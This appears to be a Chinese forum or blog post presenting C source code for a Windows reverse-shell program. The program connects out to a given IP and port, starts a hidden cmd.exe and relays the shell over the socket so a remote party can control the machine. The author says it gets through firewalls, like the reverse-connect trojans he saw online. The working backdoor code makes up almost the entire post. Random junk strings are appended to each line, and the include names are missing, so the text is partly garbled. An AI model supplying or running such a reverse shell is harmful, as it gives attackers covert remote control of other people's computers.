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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uFG]8pj2V1  
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/* ============================== iK'bV<V&7  
Rebound port in Windows NT k`kmmb>  
By wind,2006/7 d-39G*;1  
===============================*/ v8_HaA$5Y  
#include D.U)R7(  
#include >8oRO  
:+m|KC(Z  
#pragma comment(lib,"wsock32.lib") 0|P RCq  
|cUlXg=  
void OutputShell(); MQw{^6Z>1  
SOCKET sClient; pA4oy  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'mG[#M/Y  
d; V  
void main(int argc,char **argv) 3[aCy4O  
{ -=5z&) X  
WSADATA stWsaData; |jF)~k6  
int nRet; Ah) _mxK  
SOCKADDR_IN stSaiClient,stSaiServer; =w_y<V4  
J{\S+O2,*  
if(argc != 3) #Ubzh`v  
{ uFL~^vz  
printf("Useage:\n\rRebound DestIP DestPort\n"); %Mz(G-I.\  
return; E(>RmPP=7  
} L:%; Fx2  
~'=s?\I  
WSAStartup(MAKEWORD(2,2),&stWsaData); =H3 JRRS  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9Clddjf?c  
x]XhWScr '  
stSaiClient.sin_family = AF_INET; fA2H8"r  
stSaiClient.sin_port = htons(0); |:L<Ko  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); V[uB0#Lp  
U}_l]gNn  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =>n:\_*M  
{ w*uHB;?  
printf("Bind Socket Failed!\n"); Vq -!1.v3  
return; o5 @ l!NQ  
} bJmVq%>;  
Fpzps!(;=  
stSaiServer.sin_family = AF_INET; :p%nQF,*f  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4\Mh2z5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !!%vs 6  
0bzD-K4WVd  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Qj VP]C}p  
{ ? D2:'gg  
printf("Connect Error!"); LK)0g4{  
return; +8 ]}'6m  
} GL(R9Y  
OutputShell(); tE/j3  
} {ckA  
/<\>j+SC  
void OutputShell() 6,ylk f3  
{ s>9w+|6Ji  
char szBuff[1024]; ,3qi]fFLMe  
SECURITY_ATTRIBUTES stSecurityAttributes; K!lGo3n]  
OSVERSIONINFO stOsversionInfo; s,\!@[N  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #O7|&DqF{  
STARTUPINFO stStartupInfo; MR:Co4(  
char *szShell; 9(dbou  
PROCESS_INFORMATION stProcessInformation; 24}r;=U  
unsigned long lBytesRead; #5-0R7\d7  
@f-0OX$*  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xwW[6Ah  
B- N  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  I@08F  
stSecurityAttributes.lpSecurityDescriptor = 0; L0/0<d(K  
stSecurityAttributes.bInheritHandle = TRUE; t \kI( G  
(x2I*<7P  
KA# 4iu{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H5j~<@STC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O%AQ'['  
FZ DC?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qY]IX9'kV  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /0>Cy\eN0  
stStartupInfo.wShowWindow = SW_HIDE; ,9^wKS!7$  
stStartupInfo.hStdInput = hReadPipe; we9R4 *j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {0WLY@7 2?  
~9#\+[ d_  
GetVersionEx(&stOsversionInfo); bEfxu;Su 3  
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switch(stOsversionInfo.dwPlatformId) $ &M"Ji  
{ pP;GDW4  
case 1: @]" :3  
szShell = "command.com"; N93 ZI|T  
break; {<5rbsqk  
default: e*;-vS9H  
szShell = "cmd.exe"; x3xBl_t  
break; Y-hGHnh]'  
} |tC!`.^\  
{wiw]@c8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +]*4!4MK6  
K]yCt~A$  
send(sClient,szMsg,77,0); !run3ip`Z  
while(1) #8z2>&:|  
{ MQ9 9fD$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R R<92R  
if(lBytesRead) sqFMO+  
{ -bdF=  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lPFT)>(+@  
send(sClient,szBuff,lBytesRead,0); O+A/thI%*S  
} kaQn'5  
else *[t@j*al  
{ "l6v[yv  
lBytesRead=recv(sClient,szBuff,1024,0); B@D3aOvO  
if(lBytesRead<=0) break; E#X(0(A)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); WDNuR #J?  
} a^t#kdT  
} ;0(|06=  
6 6WAD$8$  
return; `O ?61YUQH  
}
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